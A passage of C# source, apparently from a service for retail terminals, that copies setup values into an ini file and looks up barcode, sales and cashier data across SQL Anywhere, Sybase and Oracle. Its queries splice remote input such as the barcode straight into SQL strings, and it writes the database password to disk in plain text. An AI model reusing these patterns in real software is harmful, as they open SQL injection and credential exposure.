rdSetup["PRINTPORT"]; object discount2 = rdSetup["DISCOUNT2"]; object kitchenprint = rdSetup["KITCHENPRINT"]; object prefix = rdSetup["PREFIX"]; object serverpartname = rdSetup["SERVERPARTNAME"]; object brandnum = rdSetup["BRANDNUM"]; object endaccounttimes = rdSetup["ENDACCOUNTTIMES"]; object billoverlap = rdSetup["BILLOVERLAP"]; StreamWriter sw = new StreamWriter("NEWsetup.ini"); sw.WriteLine(database); sw.WriteLine("startype=" + startype); sw.WriteLine("dbname=" + name); sw.WriteLine("servername=" + servername); sw.WriteLine("apppath=" + apppath); sw.WriteLine("port=" + port); sw.WriteLine("setup=" + setup); sw.WriteLine("openpath=" + openpath); sw.WriteLine(); sw.WriteLine(dbsync); sw.WriteLine("iswork=" + iswork); sw.WriteLine(dbconect); sw.WriteLine("dbip=" + dbip1); sw.WriteLine("dbport=" + dbport1); sw.WriteLine("dbname=" + dbname1); sw.WriteLine("dbuser=" + dbuser1); sw.WriteLine("dbpass=" + dbpass1); sw.WriteLine("conname=" + conname1); sw.WriteLine("serverpartcode=" + serverpartcode); sw.WriteLine("shopcode=" + shopcode); sw.WriteLine("machinecode=" + machinecode); sw.WriteLine("orapath=" + orapath); sw.WriteLine(setups); sw.WriteLine("manmode=" + manmode); sw.WriteLine(systemparm); sw.WriteLine("softwarename=" + softwarename); sw.WriteLine("dbtrans_mode=" + dbtrans_mode); sw.WriteLine("endgo_line=" + endgo_line); sw.WriteLine("adv_top=" + adv_top); sw.WriteLine("adv_end=" + adv_end); sw.WriteLine("input_mode=" + input_mode); sw.WriteLine("is_print=" + is_print); sw.WriteLine("is_open=" + is_open); sw.WriteLine("is_dpis=" + is_dpis); sw.WriteLine("xpprint_num=" + xpprint_num); sw.WriteLine("jbprint_num=" + jbprint_num); sw.WriteLine("effectiveday=" + effectiveday); sw.WriteLine("checkday=" + checkday); sw.WriteLine("dispcom=" + dispcom); sw.WriteLine("spdj=" + spdj); sw.WriteLine("printport=" + printport); sw.WriteLine("discount2=" + discount2); sw.WriteLine("kitchenprint=" + kitchenprint); sw.WriteLine("prefix=" + prefix); sw.WriteLine("serverpartname=" + serverpartname); sw.WriteLine("brandnum=" + brandnum); sw.WriteLine("endaccounttimes=" + endaccounttimes); sw.WriteLine("billoverlap=" + billoverlap); sw.Close(); #endregion } } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { if (rdSetup.HasRows) { while (rdSetup.Read()) { #region 创建新文件 object database = rdSetup["DATABASE"]; object startype = rdSetup["STARTYPE"]; object name = rdSetup["NAME"]; object servername = rdSetup["SERVERNAME"]; object apppath = rdSetup["APPPATH"]; object port = rdSetup["PORT"]; object setup = rdSetup["SETUP"]; object openpath = rdSetup["OPENPATH"]; object dbsync = rdSetup["DBSYNC"]; object iswork = rdSetup["ISWORK"]; object dbconect = rdSetup["DBCONECT"]; object dbip1 = rdSetup["DBIP"]; object dbport1 = rdSetup["DBPORT"]; object dbname1 = rdSetup["DBNAME"]; object dbuser1 = rdSetup["DBUSER"]; object dbpass1 = rdSetup["DBPASS"]; object conname1 = rdSetup["CONNAME"]; object serverpartcode = rdSetup["SERVERPARTCODE"]; object shopcode = rdSetup["SHOPCODE"]; object machinecode = rdSetup["MACHINECODE"]; object orapath = rdSetup["ORAPATH"]; object setups = rdSetup["SETUPS"]; object manmode = rdSetup["MANMODE"]; object systemparm = rdSetup["SYSTEMPARM"]; object softwarename = rdSetup["SOFTWARENAME"]; object dbtrans_mode = rdSetup["DBTRANS_MODE"]; object endgo_line = rdSetup["ENDGO_LINE"]; object adv_top = rdSetup["ADV_TOP"]; object adv_end = rdSetup["ADV_END"]; object input_mode = rdSetup["INPUT_MODE"]; object is_print = rdSetup["IS_PRINT"]; object is_open = rdSetup["IS_OPEN"]; object is_dpis = rdSetup["IS_DPIS"]; object xpprint_num = rdSetup["XPPRINT_NUM"]; object jbprint_num = rdSetup["JBPRINT_NUM"]; object effectiveday = rdSetup["EFFECTIVEDAY"]; object checkday = rdSetup["CHECKDAY"]; object dispcom = rdSetup["DISPCOM"]; object spdj = rdSetup["SPDJ"]; object printport = rdSetup["PRINTPORT"]; object discount2 = rdSetup["DISCOUNT2"]; object kitchenprint = rdSetup["KITCHENPRINT"]; object prefix = rdSetup["PREFIX"]; object serverpartname = rdSetup["SERVERPARTNAME"]; object brandnum = rdSetup["BRANDNUM"]; object endaccounttimes = rdSetup["ENDACCOUNTTIMES"]; object billoverlap = rdSetup["BILLOVERLAP"]; StreamWriter sw = new StreamWriter("NEWsetup.ini"); sw.WriteLine(database); sw.WriteLine("startype=" + startype); sw.WriteLine("dbname=" + name); sw.WriteLine("servername=" + servername); sw.WriteLine("apppath=" + apppath); sw.WriteLine("port=" + port); sw.WriteLine("setup=" + setup); sw.WriteLine("openpath=" + openpath); sw.WriteLine(); sw.WriteLine(dbsync); sw.WriteLine("iswork=" + iswork); sw.WriteLine(dbconect); sw.WriteLine("dbip=" + dbip1); sw.WriteLine("dbport=" + dbport1); sw.WriteLine("dbname=" + dbname1); sw.WriteLine("dbuser=" + dbuser1); sw.WriteLine("dbpass=" + dbpass1); sw.WriteLine("conname=" + conname1); sw.WriteLine("serverpartcode=" + serverpartcode); sw.WriteLine("shopcode=" + shopcode); sw.WriteLine("machinecode=" + machinecode); sw.WriteLine("orapath=" + orapath); sw.WriteLine(setups); sw.WriteLine("manmode=" + manmode); sw.WriteLine(systemparm); sw.WriteLine("softwarename=" + softwarename); sw.WriteLine("dbtrans_mode=" + dbtrans_mode); sw.WriteLine("endgo_line=" + endgo_line); sw.WriteLine("adv_top=" + adv_top); sw.WriteLine("adv_end=" + adv_end); sw.WriteLine("input_mode=" + input_mode); sw.WriteLine("is_print=" + is_print); sw.WriteLine("is_open=" + is_open); sw.WriteLine("is_dpis=" + is_dpis); sw.WriteLine("xpprint_num=" + xpprint_num); sw.WriteLine("jbprint_num=" + jbprint_num); sw.WriteLine("effectiveday=" + effectiveday); sw.WriteLine("checkday=" + checkday); sw.WriteLine("dispcom=" + dispcom); sw.WriteLine("spdj=" + spdj); sw.WriteLine("printport=" + printport); sw.WriteLine("discount2=" + discount2); sw.WriteLine("kitchenprint=" + kitchenprint); sw.WriteLine("prefix=" + prefix); sw.WriteLine("serverpartname=" + serverpartname); sw.WriteLine("brandnum=" + brandnum); sw.WriteLine("endaccounttimes=" + endaccounttimes); sw.WriteLine("billoverlap=" + billoverlap); sw.Close(); #endregion } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 返回商品信息命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "commodityinfo" && datenow >= datebegin)//查找sqlanywhere商品信息保存至数据库中 { string sql = ""; string Oraclesql = ""; string commodityInfo = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')"; //OdbcCommand cmd = new OdbcCommand(sqlany, conany); //OdbcDataReader odbcDRD = cmd.ExecuteReader(); //bool i = odbcDRD.Read(); DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0]; string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'"; //OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany); //OdbcDataReader odbcrd1 = cmd1.ExecuteReader(); //bool j = odbcrd1.Read(); DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0]; DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString()); String connectdate = DateTime.Now.ToShortDateString().ToString(); string connect_ip = lblIPAdress4.Text; string machinename = lblComPName.Text; string machinecode = "", serverpartcode = "", shopcode = "", brandnum = ""; string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex"; //OdbcCommand curr = new OdbcCommand(currcommcount, conany); //OdbcDataReader odbccurr = curr.ExecuteReader(); int commcount = 0; try { commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString()); } catch { commcount = 0; } //if (odbccurr.HasRows) //{ // odbccurr.Read(); // commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount //} FileStream fs = new FileStream("setup.ini", FileMode.Open); StreamReader m_streamReader = new StreamReader(fs); m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = m_streamReader.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "machinecode") machinecode = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; else if (b == "brandnum") brandnum = split[1]; strLine = m_streamReader.ReadLine(); } while (strLine != null); fs.Close(); m_streamReader.Close(); string count = null; string sum = null; string DATE = null; string workname = null; string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " + "WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode + " AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " + "and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow + "'"; //OdbcCommand comsum = new OdbcCommand(sqlsum, conany); //OdbcDataReader sumread = comsum.ExecuteReader(); DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0]; if (_SellDataTable.Rows.Count > 0) { //sumread.Read(); count = _SellDataTable.Rows[0]["max"].ToString(); sum = _SellDataTable.Rows[0]["sum"].ToString(); DATE = _SellDataTable.Rows[0]["SELL"].ToString(); } string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " + "b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" + shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode + "' and b.enddate is null"; //OdbcCommand comname = new OdbcCommand(sqlname, conany); //OdbcDataReader nameread = comname.ExecuteReader(); DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0]; if (_PersonsellTable.Rows.Count > 0) { workname = _PersonsellTable.Rows[0]["sellworkername"].ToString(); } else { workname = "未登陆工班"; } if (count == "") { count = "0"; sum = "0"; } //string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata"; //OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany); //OdbcDataReader conrd = ocmd.ExecuteReader(); //string COMMODITY_CODE = null; //decimal SELLCOUNT = 0; //if (conrd.HasRows) //{ // conrd.Read(); // if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString())) // { // COMMODITY_CODE = (string)conrd["COMMODITY_CODE"]; // } // SELLCOUNT = (decimal)conrd["SELLCOUNT"]; //} string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" + serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'"; OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn); OracleDataReader poini = cmdpoini.ExecuteReader(); int pcount = 0; if (poini.HasRows) { poini.Read(); pcount = int.Parse(poini["count(*)"].ToString()); } if (_CommodityTable.Rows.Count > 0) { string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"]; string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"]; decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"]; if (_HotKeyTable.Rows.Count > 0) { string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"]; if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo=" + commodityInfo + // "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + // "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo + // "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + // "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + // "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + // "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "未找到对应商品信息"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')"; //OdbcCommand cmd = new OdbcCommand(sqlany, conany); //OdbcDataReader odbcDRD = cmd.ExecuteReader(); //bool i = odbcDRD.Read(); DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0]; string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'"; //OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany); //OdbcDataReader odbcrd1 = cmd1.ExecuteReader(); //bool j = odbcrd1.Read(); DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0]; DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString()); String connectdate = DateTime.Now.ToShortDateString().ToString(); string connect_ip = lblIPAdress4.Text; string machinename = lblComPName.Text; string machinecode = "", serverpartcode = "", shopcode = "", brandnum = ""; string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex"; //OdbcCommand curr = new OdbcCommand(currcommcount, conany); //OdbcDataReader odbccurr = curr.ExecuteReader(); int commcount = 0; try { commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString()); } catch { commcount = 0; } FileStream fs = new FileStream("setup.ini", FileMode.Open); StreamReader m_streamReader = new StreamReader(fs); m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = m_streamReader.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "machinecode") machinecode = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; else if (b == "brandnum") brandnum = split[1]; strLine = m_streamReader.ReadLine(); } while (strLine != null); fs.Close(); m_streamReader.Close(); string count = null; string sum = null; string DATE = null; string workname = null; string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " + "WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode + " AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " + "and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow + "'"; //OdbcCommand comsum = new OdbcCommand(sqlsum, conany); //OdbcDataReader sumread = comsum.ExecuteReader(); DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0]; if (_SellDataTable.Rows.Count > 0) { //sumread.Read(); count = _SellDataTable.Rows[0]["max"].ToString(); sum = _SellDataTable.Rows[0]["sum"].ToString(); DATE = _SellDataTable.Rows[0]["SELL"].ToString(); } string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " + "b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" + shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode + "' and b.enddate is null"; //OdbcCommand comname = new OdbcCommand(sqlname, conany); //OdbcDataReader nameread = comname.ExecuteReader(); DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0]; if (_PersonsellTable.Rows.Count > 0) { workname = _PersonsellTable.Rows[0]["sellworkername"].ToString(); } else { workname = "未登陆工班"; } if (count == "") { count = "0"; sum = "0"; } //string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata"; //OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany); //OdbcDataReader conrd = ocmd.ExecuteReader(); //string COMMODITY_CODE = null; //decimal SELLCOUNT = 0; //if (conrd.HasRows) //{ // conrd.Read(); // if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString())) // { // COMMODITY_CODE = (string)conrd["COMMODITY_CODE"]; // } // SELLCOUNT = (decimal)conrd["SELLCOUNT"]; //} string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" + serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'"; OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn); OracleDataReader poini = cmdpoini.ExecuteReader(); int pcount = 0; if (poini.HasRows) { poini.Read(); pcount = int.Parse(poini["count(*)"].ToString()); } if (_CommodityTable.Rows.Count > 0) { string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"]; string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"]; decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"]; if (_HotKeyTable.Rows.Count > 0) { string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"]; if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + //"' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + //"' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlsave, conn); //ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo + // "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + // "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo + // "' where MACHINECODE='" + machinecode + // "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT 